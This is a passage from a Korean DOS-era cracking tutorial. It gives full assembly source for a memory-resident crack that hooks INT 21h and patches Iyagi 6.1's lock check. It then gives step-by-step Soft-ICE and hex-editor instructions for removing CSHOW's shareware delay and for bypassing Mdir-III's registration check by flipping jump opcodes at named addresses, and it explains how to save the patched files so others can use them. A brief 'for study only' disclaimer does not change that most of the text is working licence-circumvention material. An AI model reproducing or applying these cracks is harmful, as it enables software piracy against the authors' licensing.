크랙에 매번 포함되어야 하는 불편합이 생긴다.

그렇지 않으면 이것을 모두 프로그램함으로써 범용 크랙을 만들수

있겠지만 더 간편한 방법이 있다.

후자의 경우인데, 원시적인 방법을 사용하는것이다.

락이 걸린 프로그램을 2차프로세서로 호출하는것이 아니라

크랙을 램에 상주시켜버리는 것이다.

충돌의 위험이 많지만 비교코드를 많이 둠으로써 완전히는 아니만

거의 비할수 있을것으로 생각된다.

램에 상주될경우 락이 결린 프로그램은 COMMAND.COM이 실행을하게되고

결국은 락이 걸린 프로그램의 모프로세서는 COMMAND.COM이 되어버린다.


아래는 소스이다. 비상주부분과 ISR은 똑같다. 그리고 TSR을 사용하니 더욱 간단해 졌다.

한번 실행하면 램에 상주하고 다시 실행하면 램에서 제거가된다.

자신의 램상주확인을 비교코드로 구분하기때문에 비교코드가 같은 크랙은 동시에 상주가 안될

가능성도 있다.

뿐만 아니라 해제루틴을 간단히 했기때문에 여러게의 크랙을 상주시킬경우

해제는 상주의 역순이라야 한다.




                .MODEL  TINY


HOOKINT         EQU     21h

SUBINT          EQU     3dh


INT_CS          EQU     24aah

INT_IP          EQU     3f9dh


LOCK_CS         EQU     2b54h

LOCK_IP         EQU     00aah


                .CODE

                ORG     100h

Start:

                jmp     Begin


old_codes       DB      75h,05h,0b8h

old_codes_end   LABEL   BYTE


new_codes       DB      75h,0

new_codes_end   LABEL   BYTE


oldint          DD      0


NewInt          PROC    NEAR


                push    bp

                mov     bp,sp

                push    ax

                push    bx

                push    cx

                push    dx

                push    si

                push    di

                push    Ds

                push    Es


                cmp     ah,SUBINT

                jnz     NewIntOut


                mov     ax,Cs

                mov     Ds,ax


                mov     bx,WORD PTR Ss:[bp+2]

                cmp     bx,INT_IP

                jnz     NewIntOut


                mov     bx,WORD PTR Ss:[bp+4]

                add     bx,LOCK_CS-INT_CS

                mov     Es,bx

                mov     si,OFFSET old_codes

                mov     di,LOCK_IP

                mov     cx,old_codes_end-old_codes

                cld

                repe    cmpsb

                jnz     NewIntOut


                mov     di,LOCK_IP

                mov     si,OFFSET new_codes

                mov     cx,new_codes_end-new_codes

                rep     movsb


                mov     ax,Cs

                mov     Es,ax

                mov     si,OFFSET Jumper

                mov     di,OFFSET NewInt

                mov     cx,JumperEnd-Jumper

                cli

                rep     movsb

                             sti

NewIntOut:

                pop     Es

                pop     Ds

                pop     di

                pop     si

                pop     dx

                pop     cx

                pop     bx

                pop     ax

                pop     bp

Jumper:

                jmp     Cs:oldint

JumperEnd       LABEL   BYTE


NewInt          ENDP


resident_tail   LABEL   BYTE



ENVIRADD        EQU     2ch


Begin:

                mov     dx,OFFSET crack_name

                mov     ah,9

                int     21h


                mov     ax,Ds:[ENVIRADD]

                mov     Es,ax

                mov     ah,49h

                int     21h


                mov     ax,3500h+HOOKINT

                int     21h


                mov     WORD PTR oldint[0],bx

                mov     WORD PTR oldint[2],Es


                cmp     bx,OFFSET NewInt

                jnz     Reside


                mov     ax,WORD PTR Es:[Start]

                cmp     ax,WORD PTR Ds:[Start]

                jnz     Reside


                mov     ax,WORD PTR Es:old_codes

                cmp     ax,WORD PTR Ds:old_codes

                jnz     Reside


                lds     dx,DWORD PTR Es:oldint

                mov     ax,2500h+HOOKINT

                int     21h


                mov     ah,49h

                int     21h


                push    Cs

                pop     Ds


                mov     dx,OFFSET remove_msg

                mov     ah,9

                int     21h


                mov     ax,4c01h

                int     21h


Reside:

                mov     ax,2500h+HOOKINT

                mov     dx,OFFSET NewInt

                int     21h


                mov     dx,OFFSET install_msg

                mov     ah,9

                int     21h


                mov     dx,OFFSET resident_tail

                int     27h


LF              EQU     0ah

CR              EQU     0dh


crack_name      DB      CR,LF,"Iyagi6.1 crack TSR version by [HWB]",CR,LF,CR,LF

,"Action: $"


remove_msg      DB      "Remove crack from memory",CR,LF,"$"

install_msg     DB      "TSR crack into memory",CR,LF,"$"


                DB      1024 DUP(0)


                END     Start



C) 소프트 아이스를 이용한 CSHOW 패치하기

cshow를 실행 시키면 15초를 기다려야 프로그램이 실행이 된다.
때론 무척 귀찮고 짜증나는 메세지이다.
왜냐면, 우리가 통신망에서 구할  수 있는것은 정식 등록판이 아닌 쉐어웨어 이기때문에  이런 제
약을 두는 것이다.
이런 불편을 없애고자 소트트 아이스를 이용해 패치를 해보자.

사용된 버전은 CSHOW Standard Version 8.44a [03-12-1992] 이다.

참, cshow 는 실행화일 압축을 이용한다.
실행화일 압축을 푼 후에 소프트 아이스를 실행시켜야 한다.
이유는 압축이 된 화일은  메모리에 있는 코드와 달리 실제에는   존재하지 않을 수 있기 때문이
다.
통신망에 공개되어 있는 ux 를 이용해서 압축을 풀면 될 것이다.


소프트 아이스는 프로그램을 크랙할 수 있는 우수한 도구중의 하나이다.
도스 버전과 윈도우 버전의 두 종류가 있다.
우선 소프트 아이스를 실행시킨다.
그럼 소프트 아이스는 램 상주 될것이다.


그 다음 cshow를 실행시킨다.

그러면 시작하자 마자 "띡띡띡띡" 하면서15 초를 기다리라는 대화상자가 나올것이다.

자 그러면 거기서 소프트 아이스의 핫키인 Ctrl+D 를 누른다.

그러면 소아의 화면이 뜨게 될 것이다.

자, 실제로 들어가보자.

====================================================================
             이곳에  xxxx:02be 의 어드레스의 내용이 표시된다.
 --------------------------------------------------------------------
 XXXX:000002BB       RETF   0002
 XXXX:000002BE       CMP    AL,ES:[DI]
 XXXX:000002C1       JNZ    02C5
 XXXX:000002C3       LOOP   02BE
       .              .      .
       .              .      .
       .              .      .

--------------------------------------------------------------------

 :d XXXX:02be

====================================================================

 여기서 보는 바와 같이 d XXXX:02be 명령을 한다.

 d(DUMP) 를 한다음 보면은

====================================================================
  XXXX:000002BE  26 3A 05 75 02 E2 F9 C3- .................

--------------------------------------------------------------------
 XXXX:000002BB ....................................
       .
=====================================================================

이렇게 된다.


여기서 26 3A 05 75 02 E2 F9 C3 을 적는다.

그중 코드 부분만을 보면은

RETF 0002
CMP AL,ES:[DI]
JNZ 02C5
LOOP 02BE

커서는 CMP 에 멈춰 있다.

직관적으로 볼때 계속 루프를 돌고 있음을 알 수 있을것이다.

이게 바로 15초동안 아무것도 못하게 하는 것임을 알 수 있다.

그래서 JNZ 02C5 를 없애 버린다.

NOP 으로 대체하는 것이다.

A 명령 (라인 어셈블) 을 쓰면
:A XXXX:02C1 ←
  XXXX:02C1 NOP ←
  XXXX:02C2 ←
:G ←

여기서 NOP 의 코드는 90(16진수) 이다.

A 명령을 쓴다음 다시 G 명령을 쓰면 곧바로 15초 세는 걸 중지하고 다음 화면이 나온다.

바로 "아무 키나 누르세요" 라는 메시지이다.

이제 패치가 된 것이다.
그런데 소프트 아이스는 저장이 안되니 다시 섹터 에디트로 고쳐야 한다.

많이들 쓰는 PC TOOLS 을 이용해 보겠다.

위에서 메모한  코드를 PC4 를 이용해서 F (FIND) 로 섹터를 찾는다.

그다음 그 코드중 JNZ 코드인 75를 90 으로 고친다.

75가 JNZ 인 줄은 소아에서 NOP 을 대입했을 때 75가 90 으로 변한다.

고친후 F5 를 눌러 UPDATE (SAVE) 하고서 PC4 를 나가서 CSHOW 를

실행시킨더.

곧바로 "아무키나 누르세요" 가 나올것이다.

참고로 실행화일 압축을 풀었으니 화일이 커져있을 것이다.

그러니 다시 실행화일 압축기로 압축을 하기 바란다.

좀더 응용해보면 "아무키나 누르세요"라는 메세지도 패치 시킬 수가 있을것이다.


D) Mdir-III  크랙하기
게임 위자드 프로 말고 소프트 아이스로 크랙하는 방법입니다.
MdirIII 을 예로 해서 한번 크랙을 해보죠.
여러분!! 단지 공부할 목적으로 크랙하시기 바랍니다.
국내 S/W 만큼은 돈내고 사쓰시기 바랍니다.
특히~  M 같은거~~~~~~~~~

먼저 크랙을 하기 위해서는 실행화일의 압축을 풀어내야 합니다.
실행화일을 풀어주는 유틸리티인 UNP,UX를 써서 압축을 풀어 냅니다.
이것들은 제가 제공했을겁니다.
여기서 압축을 풀어 주는것은 디버거로 작업을 할때 자체압축때문에 추적코드가 메모리상에서
보는것과 헥사에디터로 보는것과 틀려지기 때문입니다.
크랙한것을 헥사에디터로 기록 하기위해서 자체압축을 풀어내는 겁니다.

make-reg.exe는 다음과 같은 사항이 표시됩니다.

한글 이름 , 영문 이름 , 등록 번호 ,  비밀 번호    이렇게 말입니다.

소프트 아이스 WIN 을 이용하셔서 하시기 바랍니다.

먼저 WINICE.EXE를 실행하면 윈도우가 뜹니다.
그다음 MS도스쉘로 빠져  나오시기 바랍니다.
그럼 메모리 탑재 유틸리티인 wldr.exe로 make-reg.exe를 메모리에 탑재 합니다.
탑재 하는 방법은 c:\>wldr make-reg.exe 를 실행하시면 됩니다.

<중요 옵션 옵션>
여기서는 트레이싱  하는데 가장 많이 쓰이는 기능만 설명합니다.
F1부터 F10까지 있습니다.

 F4 : HERE  = 현제의 커서위치까지 트레이싱
 F5 : RS    = 현재까지 트래이싱 된 프로그램의 화면을 보여줍니다.
 F7 : T     = 싱글스텝 트레이싱
 F8 : P     = 스텝 트레이싱
 F9 : G     = 프로그램의 실행

F8키를 눌러서 스텝 트레이싱을 합니다. 그럼 얼마안가서 이러한 코드가 나올 겁니다.

   .         .
   .         .
   .         .

 ↓(XXXX세그먼트는 각자의 램환경이 다르므로 XXXX로 대체하였습니다.)

 XXXX:1041 CALL 0B28:426A <- ①
           CALL 06BB      <- ②

 ①코드를 F8키로 트레이싱하면 화면이 갈라집니다.
 ②코드를 F8키로 트레이싱하면 그냥 실행이 되버립니다.
 그러므로 F7키로 트레이싱해야 합니다.

 ②코드를 F7키로 트레이싱하고 나면 코드가 또 나옵니다.
 그럼 다시 F8키로 트레이싱합니다. 트레이싱 중간중간에 F5번을 누르면
 프로그램이 어디까지 진행이 되었나 보입니다. 확인을 자주 하십시요.

 계속 트레이싱하다보면 화면이 점점더 보이게 됩니다. 좀더 트레이싱
 하다보면 화면에 글자가 다 나오고 이젠 입력루틴이 나올차례가 되죠.

    .        .
    .        .
    .        .
  XXXX:09F9 CALL 0149 <- ①

  ①코드를 F8키로 트레이싱하면 프로그램에서 입력을 받는 입력루틴입니다.

  MdirIII에서는 이러한 코드가 4번이나 계속됩니다. 아까도 말했지만
  4번까지 입력받고 체크를 한다고 했죠? 그럼 이름을 입력하고 엔터를
  칩니다. 그럼 또 다시 소아환경으로 되돌아 오게 됩니다.
  계속 트레이싱하다보면 위와 같은 코드가 3번이나 더 나옵니다.

    .         .
    .         .
  XXXX:0A6B CALL 0149
    .         .
    .         .
  XXXX:0ADD CALL 0149
    .         .
    .         .
  XXXX:0B5A CALL 0149 <- 여기까지 비밀번호 입력루틴입니다.

  여기까지가 F8키로 실행하면 위와 똑같이 영문이름,등록번호,비밀번호
  입력받고 엔터치면 소아환경 으로 되돌아 오게 됩니다.

  F8키로 계속 트레이싱 하다보면 다음과 같은 코드가 나옵니다.

    .         .
    .         .
  XXXX:0C01 JZ  0C06 <- ①
  XXXX:0C03 JMP 0CDD <- ②

  ①를 보면 Zero플래그가 Zero일때 점프를 한다는 뜻입니다.
  하지만 임의적으로 추적을 했기 때문에 점프를 하지 않습니다.
  그러므로 e xxxx:0c01하셔서 74를 75로 봐꿔 주시면 JNZ 0C06으로 변합니다.
  그러면 Zero가 아닐때 점프를 하겠죠? 만약 고치지 않고 점프를 해봅시다.

  그리고 F8키를 눌러서 트레이싱하면 어떻게 나오죠? '입력사항에 이상이
  있다'고 나올겁니다. 고로 이부분이 첫번째 체크부분이죠. ①을 고쳐서
  점프를 해서 계속 트레이싱합니다.

    .         .
    .         .
  XXXX:0CC1 JNZ 0CDD   <- ①
  XXXX:0CC3 MOV DI,0543
    .         .
    .         .
    .         .
  XXXX:0CC9 CALL 00AB
              .
              .
            JMP 1022 <- ②

  위와는 반대 상황입니다. ①코드를 계속진행 하다보면 밑에 JMP 1022부분이
  나옵니다. JMP부분은 '입력사항에 이상이 있으니 다시 입력하라'는 코드로
  진입하게 되는 코드입니다. 그러니 e xxxx:0cc1 하셔서 75부분을 74로
  고치면 JZ 0CDD로 됩니다.
  ②부분은 무조건 분기하라는 명령이죠. 그러니 이 코드로 점프되는 코드는
  피해야 합니다. 물론 맨 마지막 종료될때는 반드시 지나야 합니다.

  그럼 JNZ 0CDD부분에서 JZ로 고쳐서 점프를 해서 다시 진행을 해봅시다.

  XXXX:0CDD CMP BYTE PTR [BP+FE22],00
  XXXX:0CE2 JNZ 0CE7 <- ①
  XXXX:0CE4 JMP 0FC3 <- ②
      .        .
      .        .
  XXXX:0CE7    .
      .        .

  ①번 코드를 보면 점프를 하지 않습니다. 그럼 점프를 하지 않으면
  ②번 코드로 가게 되겠죠? ②번코드가 어떻게 이어 지는지 u명령으로
  확인을 해봅시다. u xxxx:0fc3 ←하시면 보이죠.

      .        .
      .        .
  XXXX:0FC3    .
      .        .
  XXXX:0FCF CALL 0B28:0000
      .        .
      .        .
  XXXX:0FD9 JNZ 0FE6
      .        .
      .        .
      .     JMP 1001 <- ①
      .        .

  이런 코드가 보이게 될껍니다. ①번코드는 바로 '입력사항이 틀리다'
  코드로 가게 됩니다. 그러니 앞에서 본것과 같이 JNZ 0CE7코드를
  e xxxx:0ce2 의 75를 74로 봐꾸어서 다시 점프를 합니다.

  계속 F8번으로 트레이싱하게 되면 다음과 같은 주소에 마주치게 됩니다.

      .       .
      .       .
  XXXX:0DF4 JNZ 0DF9 <- ①
  XXXX:0DF6 JMP 0FA0
      .       .
      .       .
      .       .

  ①코드는 또 점프를 안합니다. 그러니 또 위와 같은 방법으로 고쳐서
  점프를 합니다. 계속 트레이싱하게 되면 아래와 같은 코드가 나옵니다.

  XXXX:0F1A JZ  0F2C       <- ①
      .     MOV WORD .....
      .     SUB WORD .....
      .     SUB WORD .....
  XXXX:0F2C LEA DI,[BP+FE78]
      .       .
      .       .

  ①코드는 MdirIII의 가장 핵심적인 루틴입니다. 여기서 최종적으로
  등록된번호인지 아닌지를 구분하게 됩니다. 여기서 점프를 하지 않으면
  이때까지 제대로 크랙을 하였다 하더라도 비등록판이 되니 꼭 점프를
  하드록 메모리 수정을 해야 합니다. JZ를 JNZ로 바꾸어 주면 점프를
  하게 되겠죠.

      .       .
      .       .
      .       .
  XXXX:100F JNZ 1022 <- ①
      .       .
      .     JNZ 1022 <- ②
      .       .
      .     JZ  1022 <- ③
      .     JMP 09CB <- ④
      .     MOV SP,BP
      .     POP BP
      .     RET      <- ⑤

  이제 RET가 나오는걸 보면 루틴의 끝인걸 알수 있습니다. 아까
  싱글스텝트레이싱을 했으니 당연하게 코드의 끝은 RET가 나와서 아까
  싱글스텝트레이싱을 했던 바로 다음주소로 이동을 하게 됩니다.
  쉽게 생각하십시요.

  ①,②,③에서 점프를 하지 않으면 ④에서 점프를 하게 됩니다.
  ④은 다시 입력을 받는 루틴으로 가게 되므로 ①,②,③에서 점프를
  하게 만들어 줘야 합니다. 그럼 점프를 하고 RET로 복귀를 하게 되죠.

  XXXX:1041 CALL 0B28:426A
      .     CALL 06BB <- ①
      .         .     <- ②
      .         .

  ①은 아까 F7을 눌러서 싱글스텝트레이스 한자리죠? 그러니 RET에서
  복귀를 하면 ②으로 오게 되는것입니다. 그럼 이제 F9를 눌러서
  프로그램을 완전히 실행하면 크랙은 끝이 납니다.

  그리고 자기혼자만 사용할것이라면 그냥 이렇게 메모리 수정을 통한
  크랙을 하면 되지만 다른사람이 쓸수 있게 크랙이 도는것은 위에서
  메모리 수정을 한 주소의 값을 앞,뒤를 메모지에 적어서 헥사에디터로
  수정을 하고 저장하면 됩니다.

  여기서 앞뒤로 적는다는 말은 코드가 같은게 상당히 많기 때문에
  정확성을 기하기 위해서 앞뒤의 값까지 적게되면 그만큼 정확성이
  높기 때문이니다.

초보자들이 보기에는 상당히 어려울겁니다.
어셈을 꾸준히 공부하시기 바랍니다.